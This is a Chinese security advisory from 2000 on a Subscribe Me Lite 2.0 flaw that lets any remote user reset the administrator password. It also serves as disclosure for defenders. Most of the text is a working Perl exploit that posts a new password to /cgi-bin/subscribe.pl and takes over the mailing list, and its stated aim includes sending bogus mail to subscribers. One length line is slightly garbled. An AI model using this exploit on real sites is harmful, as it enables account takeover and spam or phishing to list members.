CGI脚本Subscribe Me LITE 更改管理员口令漏洞

发布日期：2000-08-25
更新日期：2000-08-25

受影响系统：

CGI Script Center Subscribe Me Lite 2.0
- Sun Solaris
- RedHat Linux 6.x
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000

描述：

---

无论拥有什么级别的权限，任何远程用户都能修改CGI Script Centers' Subscribe Me Lite
的管理员口令。这使得远程用户拥有完全的管理权限，包括从邮件列表中增加和删除用户。

<* 来源：n30 (n30@alldas.de) *>





测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl -w

## Subscribe Me Lite 2.0 exploit / www.cgiscriptcenter.com
## This exploits changes the administrator password and
## let's anyone take over the mailing list. You can send
## bogus e-mail to everyone on the list.
##
## May work on earlier versions, but not sure - not sure
## if it will work on the Professional version either.
##
## teleh0r@doglover.com / anno 2000
## httpd://teleh0r.cjb.net

use strict;
use Socket;

if (@ARGV < 2) {
print("Usage: $0 <target> <newpass>\n");
exit(1);
}

my($target,$newpass,$crypt,$length,$command,$agent,$sploit,$iaddr,$paddr,$pr
oto);

($target,$newpass) = @ARGV;

$crypt = crypt($newpass, 'aa');
$length = 34 length($newpass);

print("\nRemote host: $target\n");
print("CGI-script: /cgi-bin/subscribe.pl\n");
print("New password: $newpass / $crypt\n\n");

$command = "pwd=$newpass&pwd2=$newpass&setpwd= Set Password ";
$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)";

$sploit=
"POST /cgi-bin/subscribe.pl HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Content-type: application/x-www-form-urlencoded
Content-length: $length
$command";

$iaddr = inet_aton($target) || die("Error: $!\n");
$paddr = sockaddr_in(80, $iaddr) || die("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
send(SOCKET,"$sploit\015\012", 0) || die("Error: $!\n");
close(SOCKET);

sleep(2);
print("Check out: http://$target/cgi-bin/subscribe.pl\n");

exit(0);


建议：

---

到下面的站点下载新的版本：

http://www.cgiscriptcenter.com/subscribe/

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有